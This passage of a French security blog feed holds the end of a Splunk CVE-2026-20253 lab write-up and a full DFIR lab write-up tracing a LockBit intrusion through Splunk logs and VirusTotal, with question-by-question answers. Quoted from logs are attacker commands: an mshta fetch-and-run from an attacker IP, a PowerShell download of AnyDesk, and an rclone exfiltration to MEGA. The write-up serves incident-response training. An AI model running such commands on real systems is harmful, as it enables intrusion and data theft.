      <td>Les chemins Linux utilisent <code class="language-plaintext highlighter-rouge">/</code></td>
      <td>Le chemin donné par l’indice était <code class="language-plaintext highlighter-rouge">/home/local.txt</code>, pas <code class="language-plaintext highlighter-rouge">/local.txt</code> ni <code class="language-plaintext highlighter-rouge">\local.txt</code></td>
    </tr>
  </tbody>
</table>

<h2 id="10-conclusion">10. Conclusion</h2>

<p>La séquence complète reliait les étapes ainsi : l’exposition de Splunk Web a permis de tester le endpoint de récupération sans authentification ; le serveur Splunk a ensuite été amené à sauvegarder une base fournie par Kali ; la restauration de ce dump a déclenché une écriture arbitraire ; le script Python écrit dans un fichier exécuté par Splunk a confirmé l’exécution sous <code class="language-plaintext highlighter-rouge">splunk</code> ; enfin, un payload adapté aux chemins d’indice a lu <code class="language-plaintext highlighter-rouge">/home/local.txt</code> et révélé le drapeau.</p>

<blockquote>
  <p>ℹ️ En environnement réel, la recommandation de Splunk est de mettre à niveau vers une version corrigée ; si cela n’est pas immédiatement possible, son avis décrit une mitigation de désactivation du service PostgreSQL sidecar, en tenant compte des fonctionnalités qui en dépendent.</p>
</blockquote>

<h2 id="leçons-retenues">Leçons retenues</h2>

<ul>
  <li>Un service “sidecar” (ici PostgreSQL embarqué dans Splunk) peut devenir un vecteur de RCE même si l’application principale semble correctement protégée — toujours cartographier les services auxiliaires exposés, pas seulement l’interface principale.</li>
  <li>Une opération qui échoue à son état final (<code class="language-plaintext highlighter-rouge">RestoreFailed</code>) peut malgré tout avoir produit un effet exploitable avant l’échec — vérifier systématiquement l’effet concret observable plutôt que de se fier uniquement au statut retourné par l’API.</li>
  <li>La technique <code class="language-plaintext highlighter-rouge">lo_from_bytea</code> + <code class="language-plaintext highlighter-rouge">lo_export</code> (gros objets PostgreSQL) est un vecteur classique d’écriture de fichier arbitraire quand un rôle SQL a les droits d’exécution sur ces fonctions — une primitive à connaître pour toute évaluation PostgreSQL.</li>
  <li>Toujours invalider le cache HTTP (<code class="language-plaintext highlighter-rouge">?t=$(date +%s)</code>) lors de la vérification itérative d’un payload modifié, pour ne pas confondre un ancien résultat mis en cache avec le résultat du nouveau payload.</li>
</ul>

<h2 id="références">Références</h2>

<ol>
  <li><a href="https://advisory.splunk.com/advisories/SVD-2026-0603">Splunk — avis de sécurité SVD-2026-0603, CVE-2026-20253</a> : description, versions touchées, correctifs et mitigation officielle</li>
  <li><a href="https://www.cve.org/CVERecord?id=CVE-2026-20253">CVE.org — fiche CVE-2026-20253</a> : description du défaut d’authentification sur le PostgreSQL sidecar et versions signalées</li>
  <li><a href="https://labs.watchtowr.com/why-use-app-level-auth-when-every-database-has-auth-splunk-enterprise-cve-2026-20253-pre-auth-rce/">watchTowr Labs — analyse technique de CVE-2026-20253</a> : description du relais par Splunk Web, des endpoints de sauvegarde/restauration et de la démonstration d’exécution de code</li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2026-20253">NIST NVD — CVE-2026-20253</a> : référence complémentaire et résumé de la vulnérabilité</li>
  <li><a href="https://community.splunk.com/t5/Security/How-do-I-get-Splunk-to-serve-other-content/m-p/101342">Splunk Community — service de fichiers statiques</a> : référence indiquant que les fichiers du répertoire <code class="language-plaintext highlighter-rouge">search_mrsparkle/exposed</code> sont servis sous <code class="language-plaintext highlighter-rouge">/static</code> par Splunk Web</li>
</ol>]]></content><author><name>Mohammed Berrahal</name></author><category term="Pentest" /><category term="Exploitation" /><category term="cve-2026-20253" /><category term="splunk" /><category term="postgresql" /><category term="rce" /><category term="pre-auth" /><category term="lo_export" /><category term="backup-restore" /><category term="secdojo" /><category term="ctf" /><summary type="html"><![CDATA[Lab Loghouse : exécution de code à distance sur Splunk via PostgreSQL sidecar (CVE-2026-20253)]]></summary></entry><entry><title type="html">SOCBasics : attaque LockBit — de Confluence (CVE-2023-22527) au ransomware</title><link href="https://medberrahal.github.io//dfir/soc/SOC-Basics-lab/" rel="alternate" type="text/html" title="SOCBasics : attaque LockBit — de Confluence (CVE-2023-22527) au ransomware" /><published>2026-10-15T00:00:00+00:00</published><updated>2026-10-15T00:00:00+00:00</updated><id>https://medberrahal.github.io//dfir/soc/SOC-Basics-lab</id><content type="html" xml:base="https://medberrahal.github.io//dfir/soc/SOC-Basics-lab/"><![CDATA[<h1 id="socbasics--attaque-lockbit-ransomware--corp-enterprise">SOCBasics : attaque LockBit Ransomware — Corp Enterprise</h1>

<blockquote>
  <p><strong>Date de l’incident :</strong> 26 avril 2026
<strong>Vulnérabilité initiale :</strong> CVE-2023-22527 (Atlassian Confluence, SSTI)
<strong>Ransomware final :</strong> LockBit 3 (LockBit Black)
<strong>Résultat :</strong> ✅ chaîne d’attaque complète reconstituée, de l’accès initial au chiffrement</p>
</blockquote>

<h2 id="1-résumé-exécutif">1. Résumé exécutif</h2>

<p>Suite à une attaque ransomware détectée chez Corp Enterprise, une investigation DFIR a été menée via le SIEM Splunk et l’analyse de binaires sur VirusTotal. L’attaquant a exploité une vulnérabilité dans <strong>Atlassian Confluence</strong> pour obtenir un accès initial, puis a progressivement compromis l’environnement jusqu’au déploiement du ransomware <strong>LockBit 3</strong>.</p>

<h3 id="chronologie-résumée">Chronologie résumée</h3>

<table>
  <thead>
    <tr>
      <th>Heure</th>
      <th>Événement</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>20:40</td>
      <td>Exploitation de Confluence (CVE-2023-22527) depuis l’IP <code class="language-plaintext highlighter-rouge">172.16.92.160</code></td>
    </tr>
    <tr>
      <td>20:51</td>
      <td>Déploiement du dropper <code class="language-plaintext highlighter-rouge">VhdjSUH2l.hta</code> via <code class="language-plaintext highlighter-rouge">mshta.exe</code></td>
    </tr>
    <tr>
      <td>20:52</td>
      <td>Téléchargement et installation d’AnyDesk renommé en <code class="language-plaintext highlighter-rouge">AD_SIEM.exe</code></td>
    </tr>
    <tr>
      <td>21:14</td>
      <td>Exfiltration de données via <code class="language-plaintext highlighter-rouge">rclone</code> vers MEGA</td>
    </tr>
    <tr>
      <td>21:22</td>
      <td>Déploiement du ransomware <code class="language-plaintext highlighter-rouge">LB3.exe</code> via PDQ Deploy</td>
    </tr>
    <tr>
      <td>21:29</td>
      <td>Chiffrement des fichiers avec l’extension <code class="language-plaintext highlighter-rouge">.aykCzdDAx</code></td>
    </tr>
  </tbody>
</table>

<h2 id="2-commandes-splunk-et-réponses-détaillées">2. Commandes Splunk et réponses détaillées</h2>

<h3 id="q1--service-exploité-pour-laccès-initial">Q1 — Service exploité pour l’accès initial</h3>

<p><strong>Réponse :</strong> Confluence (Atlassian)</p>

<pre><code class="language-spl">index=* 172.16.92.160 | table _time, source, dest_port, action, app

index=* source="/opt/splunk/logs/confluence.log" | table _time, _raw | sort _time | tail 25
</code></pre>

<p><strong>Explication de la commande :</strong> la première commande recherche tous les événements contenant l’IP de l’attaquant (<code class="language-plaintext highlighter-rouge">172.16.92.160</code>) dans tous les index Splunk. <code class="language-plaintext highlighter-rouge">table</code> affiche les colonnes importantes : l’heure, la source, le port destination, l’action et l’application. La deuxième commande filtre spécifiquement les logs du fichier <code class="language-plaintext highlighter-rouge">confluence.log</code> pour voir le contenu brut des requêtes HTTP.</p>

<p><strong>Résultat observé :</strong> tous les 45 événements provenaient du fichier <code class="language-plaintext highlighter-rouge">/opt/splunk/logs/confluence.log</code>. Les logs HTTP révélaient :</p>

<ul>
  <li>Des requêtes POST vers <code class="language-plaintext highlighter-rouge">/template/aui/text-inline.vm</code></li>
  <li>L’user-agent <code class="language-plaintext highlighter-rouge">python-requests/2.32.3</code> (script automatisé)</li>
  <li>Le port <code class="language-plaintext highlighter-rouge">8090</code> (port par défaut de Confluence)</li>
</ul>

<p>L’endpoint <code class="language-plaintext highlighter-rouge">/template/aui/text-inline.vm</code> est exactement celui exploité par la vulnérabilité <strong>CVE-2023-22527</strong> (SSTI — Server Side Template Injection). L’attaquant a utilisé un script Python automatisé pour exploiter cette faille et exécuter du code arbitraire sur le serveur.</p>

<h3 id="q2--nom-du-malware-dropper-déployé">Q2 — Nom du malware dropper déployé</h3>

<p><strong>Réponse :</strong> <code class="language-plaintext highlighter-rouge">VhdjSUH2l.hta</code></p>

<pre><code class="language-spl">index=* "mshta" "172.16.92.160" | table _time, _raw | sort _time | head 20
</code></pre>

<p><strong>Explication de la commande :</strong> on recherche les événements contenant à la fois <code class="language-plaintext highlighter-rouge">mshta</code> (Microsoft HTML Application Host) et l’IP de l’attaquant. <code class="language-plaintext highlighter-rouge">mshta.exe</code> est un outil Windows légitime capable d’exécuter des fichiers <code class="language-plaintext highlighter-rouge">.hta</code> (HTML Application), très souvent abusé par les attaquants car il peut exécuter du code VBScript/JavaScript sans être bloqué par les politiques d’exécution PowerShell.</p>

<p><strong>Résultat observé :</strong> l’événement Sysmon (<code class="language-plaintext highlighter-rouge">EventCode=1</code> - ProcessCreate) a révélé la ligne de commande exacte :</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mshta http://172.16.92.160:3030/VhdjSUH2l.hta
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">Tomcat9.exe</code> (le processus Confluence) a lancé <code class="language-plaintext highlighter-rouge">mshta.exe</code> qui a téléchargé et exécuté le fichier <code class="language-plaintext highlighter-rouge">.hta</code> depuis le serveur C2 de l’attaquant sur le port 3030. Ce fichier HTA contenait ensuite un payload PowerShell encodé en Base64 qui établissait une connexion C2 sur le port 4343.</p>

<h3 id="q3--nom-original-de-ad_siemexe">Q3 — Nom original de AD_SIEM.exe</h3>

<p><strong>Réponse :</strong> <code class="language-plaintext highlighter-rouge">AnyDesk.exe</code></p>

<pre><code class="language-spl">index=* "WRKS.corp.me" "AD_SIEM" | table _time, _raw | sort _time | head 20
</code></pre>

<p><strong>Explication de la commande :</strong> on recherche tous les événements sur la machine <code class="language-plaintext highlighter-rouge">WRKS.corp.me</code> (le poste de travail compromis) qui mentionnent <code class="language-plaintext highlighter-rouge">AD_SIEM</code>. Cette recherche permet de retrouver les logs PowerShell ou Sysmon qui enregistrent les actions liées à ce fichier.</p>

<p><strong>Résultat observé :</strong> les logs PowerShell (Windows PowerShell Event Log) ont révélé la commande exacte exécutée :</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">powershell</span><span class="w"> </span><span class="nt">-c</span><span class="w"> </span><span class="p">(</span><span class="n">New-Object</span><span class="w"> </span><span class="nx">Net.WebClient</span><span class="p">)</span><span class="o">.</span><span class="nf">DownloadFile</span><span class="p">(</span><span class="s1">'http://download.anydesk.com/AnyDesk.exe'</span><span class="p">,</span><span class="w"> </span><span class="s1">'AD_SIEM.exe'</span><span class="p">)</span><span class="w">
</span></code></pre></div></div>

<p>L’attaquant a téléchargé AnyDesk (logiciel d’accès à distance légitime) depuis le site officiel et l’a renommé en <code class="language-plaintext highlighter-rouge">AD_SIEM.exe</code> pour le camoufler comme un outil de monitoring du SIEM.</p>

<blockquote>
  <p>💡 Cette technique s’appelle <strong>« Living off the Land »</strong> — utiliser des outils légitimes pour éviter la détection. AnyDesk permettait à l’attaquant d’avoir un accès persistant et discret à la machine.</p>
</blockquote>

<h3 id="q4--chemin-du-dossier-exfiltré-avec-rclone">Q4 — Chemin du dossier exfiltré avec rclone</h3>

<p><strong>Réponse :</strong> <code class="language-plaintext highlighter-rouge">c:\Secret_Projects</code></p>

<pre><code class="language-spl">index=* "rclone.exe" | table _time, _raw | sort _time | head 20
</code></pre>

<p><strong>Explication de la commande :</strong> on recherche tous les événements mentionnant <code class="language-plaintext highlighter-rouge">rclone.exe</code>. Rclone est un outil légitime de synchronisation de fichiers vers des services cloud (MEGA, Google Drive, etc.), fréquemment utilisé par les attaquants pour l’exfiltration de données car il chiffre le transfert et ressemble à du trafic légitime.</p>

<p><strong>Résultat observé :</strong> l’événement Sysmon ProcessCreate a capturé la ligne de commande complète :</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>"C:\temp\rclone.exe" --config=rclone.conf copy c:\Secret_Projects mega:FTP3
</code></pre></div></div>

<p>L’attaquant a copié le dossier <code class="language-plaintext highlighter-rouge">c:\Secret_Projects</code> vers un bucket MEGA nommé <code class="language-plaintext highlighter-rouge">FTP3</code>, en utilisant un fichier de configuration <code class="language-plaintext highlighter-rouge">rclone.conf</code> (qui contenait les credentials MEGA). Le transfert a eu lieu à <code class="language-plaintext highlighter-rouge">21:15</code> sous le compte <code class="language-plaintext highlighter-rouge">CORP\admin</code>, après avoir utilisé PDQ Deploy pour se propager sur le réseau.</p>

<h3 id="q5--nom-du-binaire-lockbit-sur-le-poste-infecté">Q5 — Nom du binaire LockBit sur le poste infecté</h3>

<p><strong>Réponse :</strong> <code class="language-plaintext highlighter-rouge">LB3.exe</code></p>

<pre><code class="language-spl">index=* "C:\\temp" earliest="04/25/2026:21:00:00" | table _time, _raw | sort _time | head 30
</code></pre>

<p><strong>Explication de la commande :</strong> on recherche tous les événements mentionnant le dossier <code class="language-plaintext highlighter-rouge">C:\temp</code> après 21h00 (heure à laquelle l’attaquant a commencé à déployer ses outils). Ce dossier était utilisé comme <em>staging area</em> par l’attaquant pour stocker tous ses outils malveillants.</p>

<p><strong>Résultat observé :</strong> les logs Sysmon ont montré la création et l’exécution de <code class="language-plaintext highlighter-rouge">LB3.exe</code> :</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>c:\temp\LB3.exe
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">LB3.exe</code> a été déployé via <strong>PDQ Deploy</strong> (outil de déploiement logiciel légitime) à <code class="language-plaintext highlighter-rouge">21:29</code> par <code class="language-plaintext highlighter-rouge">CORP\administrator</code>. Après son exécution, le ransomware a tenté de s’authentifier sur d’autres machines du réseau (<code class="language-plaintext highlighter-rouge">EventCode 4625</code> — échecs de connexion), chiffré les fichiers avec l’extension <code class="language-plaintext highlighter-rouge">.aykCzdDAx</code> et laissé des notes de rançon <code class="language-plaintext highlighter-rouge">aykCzdDAx.README.txt</code>.</p>

<h2 id="3-analyse-virustotal">3. Analyse VirusTotal</h2>

<h3 id="q6--vhash-de-ad_siemexe">Q6 — Vhash de AD_SIEM.exe</h3>

<p><strong>Réponse :</strong> <code class="language-plaintext highlighter-rouge">0760666c055d75651"z</code></p>

<p><strong>Méthode utilisée :</strong> upload de <code class="language-plaintext highlighter-rouge">AD_SIEM.exe</code> sur virustotal.com, puis consultation de l’onglet <em>Details</em>. Le Vhash est un hash de similarité visuelle basé sur la structure du PE (Portable Executable) qui permet de regrouper des fichiers similaires même s’ils ont des hashs cryptographiques différents.</p>

<p><strong>Informations clés trouvées :</strong></p>

<table>
  <thead>
    <tr>
      <th>Champ</th>
      <th>Valeur</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>MD5</td>
      <td><code class="language-plaintext highlighter-rouge">438f9654d33b192c87a06da3dafe8510</code></td>
    </tr>
    <tr>
      <td>SHA-256</td>
      <td><code class="language-plaintext highlighter-rouge">cd5c55c2cf996f0be1e2ea1a3f9028e163bbfa405e7f8724917c806a58ce5578</code></td>
    </tr>
    <tr>
      <td>Signé par</td>
      <td>AnyDesk Software GmbH (signature valide)</td>
    </tr>
    <tr>
      <td>Version</td>
      <td>9.5.5</td>
    </tr>
    <tr>
      <td>Taille</td>
      <td>7.50 MB</td>
    </tr>
  </tbody>
</table>

<h3 id="q7--ad_siemexe-est-il-malveillant-">Q7 — AD_SIEM.exe est-il malveillant ?</h3>

<p><strong>Réponse :</strong> A. Non</p>

<p><strong>Explication :</strong> <code class="language-plaintext highlighter-rouge">AD_SIEM.exe</code> n’est pas détecté comme malveillant par aucun des 70+ moteurs antivirus de VirusTotal (<strong>0/94 détections</strong>). C’est un binaire AnyDesk légitime, signé numériquement par AnyDesk Software GmbH avec un certificat valide DigiCert. Sa malveillance réside uniquement dans son usage par l’attaquant (renommage et déploiement non autorisé), et non dans le binaire lui-même.</p>

<blockquote>
  <p>💡 Cette technique s’appelle <strong>« Bring Your Own Tool » (BYOT)</strong>.</p>
</blockquote>

<h3 id="q8--vhash-de-lb3exe">Q8 — Vhash de LB3.exe</h3>

<p><strong>Réponse :</strong> <code class="language-plaintext highlighter-rouge">01506666151d7d7567z61z7nzbfz</code></p>

<p><strong>Méthode utilisée :</strong> recherche du hash MD5 <code class="language-plaintext highlighter-rouge">40D3C027A477D1F08ABE80770504EF2D</code> (trouvé dans Splunk) sur virustotal.com, puis consultation de l’onglet <em>Details</em>.</p>

<p><strong>Informations clés trouvées :</strong></p>

<table>
  <thead>
    <tr>
      <th>Champ</th>
      <th>Valeur</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>MD5</td>
      <td><code class="language-plaintext highlighter-rouge">f144bf50a707dcc4b749753e2566e943</code></td>
    </tr>
    <tr>
      <td>SHA-256</td>
      <td><code class="language-plaintext highlighter-rouge">df555043e2137723c9e595101d6adbd5d0e9907c0e66916123a2d6b1bb87d56d</code></td>
    </tr>
    <tr>
      <td>Taille</td>
      <td>152.50 KB (fichier compact, caractéristique de LockBit)</td>
    </tr>
    <tr>
      <td>Compilation</td>
      <td>2022-09-09 (version LockBit 3 / LockBit Black)</td>
    </tr>
    <tr>
      <td>Détections</td>
      <td>60+ moteurs antivirus le détectent comme ransomware</td>
    </tr>
  </tbody>
</table>

<h3 id="q9--label-officiel-microsoft-sur-virustotal">Q9 — Label officiel Microsoft sur VirusTotal</h3>

<p><strong>Réponse :</strong> <code class="language-plaintext highlighter-rouge">Ransom:Win32/Lockbit.AK!ibt</code></p>

<p><strong>Explication :</strong> le format du label Microsoft est <code class="language-plaintext highlighter-rouge">&lt;Catégorie&gt;:&lt;Plateforme&gt;/&lt;Famille&gt;.&lt;Variante&gt;!&lt;Suffixe&gt;</code> :</p>

<table>
  <thead>
    <tr>
      <th>Segment</th>
      <th>Valeur</th>
      <th>Signification</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Catégorie</td>
      <td><code class="language-plaintext highlighter-rouge">Ransom</code></td>
      <td>Ransomware</td>
    </tr>
    <tr>
      <td>Plateforme</td>
      <td><code class="language-plaintext highlighter-rouge">Win32</code></td>
      <td>Windows 32-bit</td>
    </tr>
    <tr>
      <td>Famille</td>
      <td><code class="language-plaintext highlighter-rouge">Lockbit</code></td>
      <td>Famille de malware</td>
    </tr>
    <tr>
      <td>Variante</td>
      <td><code class="language-plaintext highlighter-rouge">AK</code></td>
      <td>Variante spécifique</td>
    </tr>
    <tr>
      <td>Suffixe</td>
      <td><code class="language-plaintext highlighter-rouge">!ibt</code></td>
      <td>Niveau de confiance de détection</td>
    </tr>
  </tbody>
</table>

<p>Ce label confirme qu’il s’agit d’une variante personnalisée de <strong>LockBit 3</strong> (aussi appelé LockBit Black), une des familles de ransomware les plus actives depuis 2022.</p>

<h3 id="q10--domaine-lié-au-malware">Q10 — Domaine lié au malware</h3>

<p><strong>Réponse :</strong> A. <code class="language-plaintext highlighter-rouge">peaceprotectorsupp.ma</code></p>

<p><strong>Explication :</strong> dans l’onglet <em>Behavior</em> de VirusTotal, section <em>Memory Pattern Domains</em>, les domaines suivants ont été trouvés dans la mémoire du malware lors de l’analyse en sandbox :</p>

<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PeaceProtectorapt2yfbt7lchxejug47kmqvqqxvvjpqkmevv4l3azl3gy6pyd.onion.ly
PeaceProtectorapt5x4zkjbcqmz6frdhecqqgadevyiwqxukksspnlidyvd7qd.onion.ly
</code></pre></div></div>

<p>Ces domaines <code class="language-plaintext highlighter-rouge">.onion.ly</code> sont des proxies vers des sites <code class="language-plaintext highlighter-rouge">.onion</code> (réseau Tor) utilisés par LockBit pour son portail de paiement de rançon et son site de fuite de données. Le préfixe <code class="language-plaintext highlighter-rouge">PeaceProtector</code> correspond au domaine <code class="language-plaintext highlighter-rouge">peaceprotectorsupp.ma</code> listé dans les choix.</p>

<h3 id="q11--technique-mitre-attck-mappée">Q11 — Technique MITRE ATT&amp;CK mappée</h3>

<p><strong>Réponse :</strong> D. T1497 — Virtualization/Sandbox Evasion</p>

<p><strong>Explication :</strong> dans l’onglet <em>Behavior</em> de VirusTotal, le tableau MITRE ATT&amp;CK montre que T1497 apparaît dans deux catégories tactiques :</p>

<ul>
  <li><strong>Defense Evasion</strong> (TA0005) — 2 occurrences</li>
  <li><strong>Discovery</strong> (TA0007) — 2 occurrences</li>
</ul>

<p>Le tag comportemental <code class="language-plaintext highlighter-rouge">detect-debug-environment</code> confirme également cette technique. LockBit vérifie s’il s’exécute dans un environnement virtualisé ou sandbox avant de procéder au chiffrement, afin d’éviter l’analyse par les chercheurs en sécurité.</p>

<blockquote>
  <p>ℹ️ <strong>Autres techniques présentes mais non retenues :</strong></p>
  <ul>
    <li>T1114 (Email Collection) — présent mais secondaire</li>
    <li>T1055 (Process Injection) — présent (<code class="language-plaintext highlighter-rouge">LB3.exe</code> s’injecte dans d’autres processus)</li>
    <li>T1566 (Phishing) — absent des comportements observés</li>
  </ul>
</blockquote>

<h2 id="4-tableau-récapitulatif-des-réponses">4. Tableau récapitulatif des réponses</h2>

<table>
  <thead>
    <tr>
      <th>Question</th>
      <th>Réponse</th>
      <th>Source</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Q1 — Service exploité</td>
      <td>Confluence (Atlassian)</td>
      <td><code class="language-plaintext highlighter-rouge">confluence.log</code> / Splunk</td>
    </tr>
    <tr>
      <td>Q2 — Dropper déployé</td>
      <td><code class="language-plaintext highlighter-rouge">VhdjSUH2l.hta</code></td>
      <td>Sysmon EventCode=1 / Splunk</td>
    </tr>
    <tr>
      <td>Q3 — Nom original AD_SIEM.exe</td>
      <td><code class="language-plaintext highlighter-rouge">AnyDesk.exe</code></td>
      <td>PowerShell logs / Splunk</td>
    </tr>
    <tr>
      <td>Q4 — Dossier exfiltré (rclone)</td>
      <td><code class="language-plaintext highlighter-rouge">c:\Secret_Projects</code></td>
      <td>Sysmon EventCode=1 / Splunk</td>
    </tr>
    <tr>
      <td>Q5 — Binaire LockBit</td>
      <td><code class="language-plaintext highlighter-rouge">LB3.exe</code></td>
      <td>Sysmon EventCode=11 / Splunk</td>
    </tr>
    <tr>
      <td>Q6 — Vhash AD_SIEM.exe</td>
      <td><code class="language-plaintext highlighter-rouge">0760666c055d75651"z</code></td>
      <td>VirusTotal — Details</td>
    </tr>
    <tr>
      <td>Q7 — AD_SIEM.exe malveillant ?</td>
      <td>A. Non (0/94 détections)</td>
      <td>VirusTotal — Detection</td>
    </tr>
    <tr>
      <td>Q8 — Vhash LB3.exe</td>
      <td><code class="language-plaintext highlighter-rouge">01506666151d7d7567z61z7nzbfz</code></td>
      <td>VirusTotal — Details</td>
    </tr>
    <tr>
      <td>Q9 — Label Microsoft LB3.exe</td>
      <td><code class="language-plaintext highlighter-rouge">Ransom:Win32/Lockbit.AK!ibt</code></td>
      <td>VirusTotal — Detection</td>
    </tr>
    <tr>
      <td>Q10 — Domaine lié au malware</td>
      <td>A. <code class="language-plaintext highlighter-rouge">peaceprotectorsupp.ma</code></td>
      <td>VirusTotal — Behavior</td>
    </tr>
    <tr>
      <td>Q11 — Technique MITRE</td>
      <td>D. T1497 (Sandbox Evasion)</td>
      <td>VirusTotal — Behavior</td>
    </tr>
  </tbody>
</table>

<h2 id="5-chaîne-dattaque-complète-kill-chain">5. Chaîne d’attaque complète (Kill Chain)</h2>

<table>
  <thead>
    <tr>
      <th>Étape</th>
      <th>Heure</th>
      <th>Action</th>
      <th>Outil/Technique</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>1. Initial Access</td>
      <td>20:40</td>
      <td>Exploitation CVE-2023-22527 sur Confluence</td>
      <td><code class="language-plaintext highlighter-rouge">python-requests</code> / SSTI</td>
    </tr>
    <tr>
      <td>2. Execution</td>
      <td>20:40–20:43</td>
      <td>Exécution de <code class="language-plaintext highlighter-rouge">whoami</code>, <code class="language-plaintext highlighter-rouge">tasklist</code> via Tomcat</td>
      <td><code class="language-plaintext highlighter-rouge">Tomcat9.exe</code> → <code class="language-plaintext highlighter-rouge">cmd.exe</code></td>
    </tr>
    <tr>
      <td>3. Delivery</td>
      <td>20:51</td>
      <td>Téléchargement dropper HTA</td>
      <td><code class="language-plaintext highlighter-rouge">mshta.exe</code> → <code class="language-plaintext highlighter-rouge">VhdjSUH2l.hta</code></td>
    </tr>
    <tr>
      <td>4. C2</td>
      <td>20:51</td>
      <td>Connexion C2 via PowerShell encodé</td>
      <td><code class="language-plaintext highlighter-rouge">powershell.exe</code> → <code class="language-plaintext highlighter-rouge">172.16.92.160:4343</code></td>
    </tr>
    <tr>
      <td>5. Persistence</td>
      <td>20:52</td>
      <td>Installation AnyDesk camouflé</td>
      <td><code class="language-plaintext highlighter-rouge">AD_SIEM.exe</code> (AnyDesk)</td>
    </tr>
    <tr>
      <td>6. Lateral Movement</td>
      <td>21:00–21:10</td>
      <td>Scan réseau, reconnaissance</td>
      <td><code class="language-plaintext highlighter-rouge">netscan.exe</code>, <code class="language-plaintext highlighter-rouge">whoami /all</code></td>
    </tr>
    <tr>
      <td>7. Exfiltration</td>
      <td>21:15</td>
      <td>Vol de données vers MEGA</td>
      <td><code class="language-plaintext highlighter-rouge">rclone.exe</code> → <code class="language-plaintext highlighter-rouge">mega:FTP3</code></td>
    </tr>
    <tr>
      <td>8. Deployment</td>
      <td>21:17</td>
      <td>Installation PDQ Deploy</td>
      <td><code class="language-plaintext highlighter-rouge">pdq.exe</code> → PDQDeploy</td>
    </tr>
    <tr>
      <td>9. Ransomware</td>
      <td>21:22–21:29</td>
      <td>Déploiement et exécution LockBit</td>
      <td><code class="language-plaintext highlighter-rouge">LB3.exe</code> → <code class="language-plaintext highlighter-rouge">.aykCzdDAx</code></td>
    </tr>
  </tbody>
</table>

<h2 id="6-conclusion-et-recommandations">6. Conclusion et recommandations</h2>

<p>L’attaque a suivi une méthodologie classique de <strong>ransomware-as-a-service (RaaS)</strong> avec une sophistication élevée :</p>

<ul>
  <li>Exploitation d’une CVE récente (Confluence SSTI)</li>
  <li>Utilisation d’outils légitimes pour éviter la détection (AnyDesk, rclone, PDQ Deploy)</li>
  <li>Mouvement latéral via des outils d’administration (PDQ Deploy)</li>
  <li>Exfiltration avant chiffrement (double extorsion)</li>
</ul>

<h3 id="recommandations-immédiates">Recommandations immédiates</h3>

<ul>
  <li>Mettre à jour Confluence vers la dernière version corrigeant CVE-2023-22527.</li>
  <li>Bloquer les connexions sortantes vers MEGA et autres services cloud non autorisés.</li>
  <li>Implémenter un contrôle strict sur l’installation de logiciels d’accès à distance.</li>
  <li>Activer la journalisation PowerShell Script Block Logging sur tous les endpoints.</li>
  <li>Segmenter le réseau pour limiter le mouvement latéral.</li>
  <li>Mettre en place des sauvegardes hors ligne testées régulièrement.</li>
</ul>

<h2 id="leçons-retenues">Leçons retenues</h2>

<ul>
  <li>Une vulnérabilité <strong>SSTI</strong> (Server-Side Template Injection) dans une application exposée comme Confluence peut servir de point d’entrée complet vers un chiffrement ransomware en moins de 50 minutes — la rapidité de la chaîne complète souligne l’importance du patch management sur les applications critiques.</li>
  <li>Le renommage d’un outil légitime et signé (AnyDesk → <code class="language-plaintext highlighter-rouge">AD_SIEM.exe</code>) illustre bien pourquoi <strong>la détection par hash ou signature seule est insuffisante</strong> : le binaire reste 100% légitime (0/94 sur VirusTotal), seul le contexte d’usage (renommage, déploiement non autorisé) révèle la malveillance.</li>
  <li>La double extorsion (exfiltration via rclone <em>avant</em> le chiffrement) est devenue un standard chez les groupes RaaS modernes comme LockBit — les recommandations de remédiation doivent couvrir à la fois la prévention du chiffrement et le blocage des canaux d’exfiltration (ici MEGA).</li>
  <li>Le Vhash (hash de similarité structurelle) est complémentaire du hash cryptographique classique (MD5/SHA-256) : il permet de relier des échantillons de malware même quand chaque copie a un hash différent, ce qui est utile face à des familles de ransomware qui varient légèrement leur binaire à chaque déploiement.</li>
</ul>

<h2 id="références">Références</h2>

<ul>
  <li>CVE-2023-22527 — Atlassian Confluence, Server-Side Template Injection (SSTI)</li>
  <li>Technique MITRE ATT&amp;CK <strong>T1497</strong> — Virtualization/Sandbox Evasion</li>
  <li>Technique MITRE ATT&amp;CK <strong>T1055</strong> — Process Injection</li>
  <li>Famille de ransomware <strong>LockBit 3.0 / LockBit Black</strong></li>
</ul>]]></content><author><name>Mohammed Berrahal</name></author><category term="DFIR" /><category term="SOC" /><category term="dfir" /><category term="splunk" /><category term="virustotal" /><category term="lockbit" /><category term="ransomware" /><category term="confluence" /><category term="cve-2023-22527" /><category term="ssti" /><category term="anydesk" /><category term="rclone" /><category term="pdq-deploy" /><category term="mitre-attck" /><category term="ctf" /><summary type="html"><![CDATA[SOCBasics : attaque LockBit Ransomware — Corp Enterprise]]></summary></entry></feed>